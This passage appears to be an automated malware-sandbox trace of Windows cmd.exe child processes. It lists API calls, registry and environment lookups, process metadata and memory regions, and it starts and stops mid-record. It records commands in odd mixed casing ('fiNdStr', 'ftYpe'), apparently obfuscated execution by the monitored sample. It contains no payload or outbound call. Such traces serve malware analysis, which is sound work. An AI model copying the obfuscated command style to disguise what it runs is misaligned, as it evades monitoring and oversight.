fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f330) returned 0x1eb4ac0 [0102.983] FindClose (in: hFindFile=0x1eb4ac0 | out: hFindFile=0x1eb4ac0) returned 1 [0102.983] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0102.983] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0102.983] GetConsoleTitleW (in: lpConsoleTitle=0x14f880, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.984] InitializeProcThreadAttributeList (in: lpAttributeList=0x14f638, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14f5f8 | out: lpAttributeList=0x14f638, lpSize=0x14f5f8) returned 1 [0102.984] UpdateProcThreadAttribute (in: lpAttributeList=0x14f638, dwFlags=0x0, Attribute=0x60001, lpValue=0x14f5e8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14f638, lpPreviousValue=0x0) returned 1 [0102.984] GetStartupInfoW (in: lpStartupInfo=0x14f750 | out: lpStartupInfo=0x14f750*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x60, hStdOutput=0x5c, hStdError=0xb)) [0102.984] lstrcmpW (lpString1="\\findstr.exe", lpString2="\\XCOPY.EXE") returned -1 [0102.984] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\findstr.exe", lpCommandLine="fiNdStr cm ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x14f670*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="fiNdStr cm ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14f620 | out: lpCommandLine="fiNdStr cm ", lpProcessInformation=0x14f620*(hProcess=0x58, hThread=0x54, dwProcessId=0xb34, dwThreadId=0xb38)) returned 1 [0102.991] CloseHandle (hObject=0x54) returned 1 [0102.991] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0102.991] GetEnvironmentStringsW () returned 0x1eb4d50* [0102.992] FreeEnvironmentStringsW (penv=0x1eb4d50) returned 1 [0102.992] DeleteProcThreadAttributeList (in: lpAttributeList=0x14f638 | out: lpAttributeList=0x14f638) [0102.992] _dup2 (_FileHandleSrc=4, _FileHandleDst=0) returned 0 [0102.992] _close (_FileHandle=4) returned 0 [0102.993] WaitForSingleObject (hHandle=0x64, dwMilliseconds=0xffffffff) returned 0x0 [0103.453] GetExitCodeProcess (in: hProcess=0x64, lpExitCode=0x14fb58 | out: lpExitCode=0x14fb58*=0x0) returned 1 [0103.453] CloseHandle (hObject=0x64) returned 1 [0103.453] WaitForSingleObject (hHandle=0x58, dwMilliseconds=0xffffffff) returned 0x0 [0103.453] GetExitCodeProcess (in: hProcess=0x58, lpExitCode=0x14fb58 | out: lpExitCode=0x14fb58*=0x0) returned 1 [0103.453] CloseHandle (hObject=0x58) returned 1 [0103.453] _get_osfhandle (_FileHandle=1) returned 0x5c [0103.453] SetConsoleMode (hConsoleHandle=0x5c, dwMode=0x0) returned 0 [0103.453] _get_osfhandle (_FileHandle=1) returned 0x5c [0103.453] GetConsoleMode (in: hConsoleHandle=0x5c, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 0 [0103.454] _get_osfhandle (_FileHandle=0) returned 0x3 [0103.454] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 1 [0103.454] SetConsoleInputExeNameW () returned 0x1 [0103.454] GetConsoleOutputCP () returned 0x1b5 [0103.454] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0103.454] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0103.454] exit (_Code=0) Process: id = "9" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x56084000" os_pid = "0xb2c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0xb24" cmd_line = "C:\\Windows\\system32\\cmd.exe /S /D /c\" ftYpe \"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1166 start_va = 0x10000 end_va = 0x44fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1167 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1168 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1169 start_va = 0x1b0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1170 start_va = 0x4a0b0000 end_va = 0x4a108fff entry_point = 0x4a0b0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 1171 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1172 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1173 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1174 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1175 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1176 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1177 start_va = 0x7fffffde000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1178 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1179 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1180 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1181 start_va = 0x40000 end_va = 0x41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1182 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1183 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1184 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1185 start_va = 0x370000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 1186 start_va = 0x470000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 1187 start_va = 0x610000 end_va = 0x61ffff entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 1188 start_va = 0x620000 end_va = 0x7a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 1189 start_va = 0x7b0000 end_va = 0x930fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 1190 start_va = 0x940000 end_va = 0x1d3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000940000" filename = "" Region: id = 1191 start_va = 0x1d40000 end_va = 0x2082fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d40000" filename = "" Region: id = 1192 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1193 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1194 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1195 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1196 start_va = 0x7fef59a0000 end_va = 0x7fef59a7fff entry_point = 0x7fef59a0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1197 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1198 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1199 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1200 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1201 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1202 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1203 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1204 start_va = 0x2090000 end_va = 0x218ffff entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 1217 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1218 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1219 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Thread: id = 91 os_tid = 0xb30 [0103.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2af750 | out: lpSystemTimeAsFileTime=0x2af750*(dwLowDateTime=0xde6d9f40, dwHighDateTime=0x1d475ba)) [0103.007] GetCurrentProcessId () returned 0xb2c [0103.007] GetCurrentThreadId () returned 0xb30 [0103.007] GetTickCount () returned 0x225b8 [0103.007] QueryPerformanceCounter (in: lpPerformanceCount=0x2af758 | out: lpPerformanceCount=0x2af758*=1814548700000) returned 1 [0103.008] GetModuleHandleW (lpModuleName=0x0) returned 0x4a0b0000 [0103.008] __set_app_type (_Type=0x1) [0103.009] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a0d7810) returned 0x0 [0103.009] __getmainargs (in: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610, _DoWildCard=0, _StartInfo=0x4a0de0f4 | out: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610) returned 0 [0103.009] GetCurrentThreadId () returned 0xb30 [0103.009] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb30) returned 0x38 [0103.009] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0103.009] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40 [0103.009] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0103.010] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0103.010] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2af6e8 | out: phkResult=0x2af6e8*=0x0) returned 0x2 [0103.010] VirtualQuery (in: lpAddress=0x2af6d0, lpBuffer=0x2af650, dwLength=0x30 | out: lpBuffer=0x2af650*(BaseAddress=0x2af000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0103.010] VirtualQuery (in: lpAddress=0x1b0000, lpBuffer=0x2af650, dwLength=0x30 | out: lpBuffer=0x2af650*(BaseAddress=0x1b0000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0103.010] VirtualQuery (in: lpAddress=0x1b1000, lpBuffer=0x2af650, dwLength=0x30 | out: lpBuffer=0x2af650*(BaseAddress=0x1b1000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0103.010] VirtualQuery (in: lpAddress=0x1b4000, lpBuffer=0x2af650, dwLength=0x30 | out: lpBuffer=0x2af650*(BaseAddress=0x1b4000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0103.010] VirtualQuery (in: lpAddress=0x2b0000, lpBuffer=0x2af650, dwLength=0x30 | out: lpBuffer=0x2af650*(BaseAddress=0x2b0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xc0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0103.010] GetConsoleOutputCP () returned 0x1b5 [0103.010] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0103.011] SetConsoleCtrlHandler (HandlerRoutine=0x4a0d3184, Add=1) returned 1 [0103.011] _get_osfhandle (_FileHandle=1) returned 0x5c [0103.011] SetConsoleMode (hConsoleHandle=0x5c, dwMode=0x0) returned 0 [0103.011] _get_osfhandle (_FileHandle=1) returned 0x5c [0103.011] GetConsoleMode (in: hConsoleHandle=0x5c, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 0 [0103.011] _get_osfhandle (_FileHandle=0) returned 0x3 [0103.011] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 1 [0103.011] GetEnvironmentStringsW () returned 0x3bbed0* [0103.014] FreeEnvironmentStringsW (penv=0x3bbed0) returned 1 [0103.014] GetEnvironmentStringsW () returned 0x3bbed0* [0103.018] FreeEnvironmentStringsW (penv=0x3bbed0) returned 1 [0103.018] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ae5a8 | out: phkResult=0x2ae5a8*=0x40) returned 0x0 [0103.019] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ae5a0, lpData=0x2ae5c0, lpcbData=0x2ae5a4*=0x1000 | out: lpType=0x2ae5a0*=0x0, lpData=0x2ae5c0*=0x18, lpcbData=0x2ae5a4*=0x1000) returned 0x2 [0103.019] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ae5a0, lpData=0x2ae5c0, lpcbData=0x2ae5a4*=0x1000 | out: lpType=0x2ae5a0*=0x4, lpData=0x2ae5c0*=0x1, lpcbData=0x2ae5a4*=0x4) returned 0x0 [0103.019] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ae5a0, lpData=0x2ae5c0, lpcbData=0x2ae5a4*=0x1000 | out: lpType=0x2ae5a0*=0x0, lpData=0x2ae5c0*=0x1, lpcbData=0x2ae5a4*=0x1000) returned 0x2 [0103.019] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ae5a0, lpData=0x2ae5c0, lpcbData=0x2ae5a4*=0x1000 | out: lpType=0x2ae5a0*=0x4, lpData=0x2ae5c0*=0x0, lpcbData=0x2ae5a4*=0x4) returned 0x0 [0103.019] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ae5a0, lpData=0x2ae5c0, lpcbData=0x2ae5a4*=0x1000 | out: lpType=0x2ae5a0*=0x4, lpData=0x2ae5c0*=0x40, lpcbData=0x2ae5a4*=0x4) returned 0x0 [0103.019] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ae5a0, lpData=0x2ae5c0, lpcbData=0x2ae5a4*=0x1000 | out: lpType=0x2ae5a0*=0x4, lpData=0x2ae5c0*=0x40, lpcbData=0x2ae5a4*=0x4) returned 0x0 [0103.019] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ae5a0, lpData=0x2ae5c0, lpcbData=0x2ae5a4*=0x1000 | out: lpType=0x2ae5a0*=0x0, lpData=0x2ae5c0*=0x40, lpcbData=0x2ae5a4*=0x1000) returned 0x2 [0103.019] RegCloseKey (hKey=0x40) returned 0x0 [0103.019] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ae5a8 | out: phkResult=0x2ae5a8*=0x40) returned 0x0 [0103.019] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ae5a0, lpData=0x2ae5c0, lpcbData=0x2ae5a4*=0x1000 | out: lpType=0x2ae5a0*=0x0, lpData=0x2ae5c0*=0x40, lpcbData=0x2ae5a4*=0x1000) returned 0x2 [0103.019] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ae5a0, lpData=0x2ae5c0, lpcbData=0x2ae5a4*=0x1000 | out: lpType=0x2ae5a0*=0x4, lpData=0x2ae5c0*=0x1, lpcbData=0x2ae5a4*=0x4) returned 0x0 [0103.019] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ae5a0, lpData=0x2ae5c0, lpcbData=0x2ae5a4*=0x1000 | out: lpType=0x2ae5a0*=0x0, lpData=0x2ae5c0*=0x1, lpcbData=0x2ae5a4*=0x1000) returned 0x2 [0103.019] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ae5a0, lpData=0x2ae5c0, lpcbData=0x2ae5a4*=0x1000 | out: lpType=0x2ae5a0*=0x4, lpData=0x2ae5c0*=0x0, lpcbData=0x2ae5a4*=0x4) returned 0x0 [0103.019] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ae5a0, lpData=0x2ae5c0, lpcbData=0x2ae5a4*=0x1000 | out: lpType=0x2ae5a0*=0x4, lpData=0x2ae5c0*=0x9, lpcbData=0x2ae5a4*=0x4) returned 0x0 [0103.019] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ae5a0, lpData=0x2ae5c0, lpcbData=0x2ae5a4*=0x1000 | out: lpType=0x2ae5a0*=0x4, lpData=0x2ae5c0*=0x9, lpcbData=0x2ae5a4*=0x4) returned 0x0 [0103.019] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ae5a0, lpData=0x2ae5c0, lpcbData=0x2ae5a4*=0x1000 | out: lpType=0x2ae5a0*=0x0, lpData=0x2ae5c0*=0x9, lpcbData=0x2ae5a4*=0x1000) returned 0x2 [0103.019] RegCloseKey (hKey=0x40) returned 0x0 [0103.020] time (in: timer=0x0 | out: timer=0x0) returned 0x5be16bcf [0103.020] srand (_Seed=0x5be16bcf) [0103.020] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /S /D /c\" ftYpe \"" [0103.020] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /S /D /c\" ftYpe \"" [0103.020] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.020] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x20c3e90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0103.020] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0103.020] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0103.020] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0103.021] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0103.021] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0103.021] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0103.021] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0103.021] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0103.021] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0103.021] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0103.021] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0103.021] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0103.021] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0103.021] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2af3b0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.021] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x2af3b0, lpFilePart=0x2af390 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x2af390*="Desktop") returned 0x19 [0103.021] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0103.021] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2af0c0 | out: lpFindFileData=0x2af0c0) returned 0x20c40a0 [0103.021] FindClose (in: hFindFile=0x20c40a0 | out: hFindFile=0x20c40a0) returned 1 [0103.022] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x2af0c0 | out: lpFindFileData=0x2af0c0) returned 0x20c40a0 [0103.022] FindClose (in: hFindFile=0x20c40a0 | out: hFindFile=0x20c40a0) returned 1 [0103.022] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x2af0c0 | out: lpFindFileData=0x2af0c0) returned 0x20c40a0 [0103.022] FindClose (in: hFindFile=0x20c40a0 | out: hFindFile=0x20c40a0) returned 1 [0103.022] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0103.022] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0103.022] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0103.022] GetEnvironmentStringsW () returned 0x3bbed0* [0103.023] FreeEnvironmentStringsW (penv=0x3bbed0) returned 1 [0103.023] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.024] GetConsoleOutputCP () returned 0x1b5 [0103.024] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0103.024] GetUserDefaultLCID () returned 0x409 [0103.024] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a0e7b50, cchData=8 | out: lpLCData=":") returned 2 [0103.024] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2af4c0, cchData=128 | out: lpLCData="0") returned 2 [0103.024] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2af4c0, cchData=128 | out: lpLCData="0") returned 2 [0103.024] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2af4c0, cchData=128 | out: lpLCData="1") returned 2 [0103.024] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a0fa740, cchData=8 | out: lpLCData="/") returned 2 [0103.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a0fa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0103.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a0fa460, cchData=32 | out: lpLCData="Tue") returned 4 [0103.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a0fa420, cchData=32 | out: lpLCData="Wed") returned 4 [0103.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a0fa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0103.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a0fa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0103.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a0fa360, cchData=32 | out: lpLCData="Sat") returned 4 [0103.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a0fa700, cchData=32 | out: lpLCData="Sun") returned 4 [0103.025] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a0e7b40, cchData=8 | out: lpLCData=".") returned 2 [0103.025] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a0fa4e0, cchData=8 | out: lpLCData=",") returned 2 [0103.025] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0103.026] GetConsoleTitleW (in: lpConsoleTitle=0x20c4110, nSize=0x104 | out: 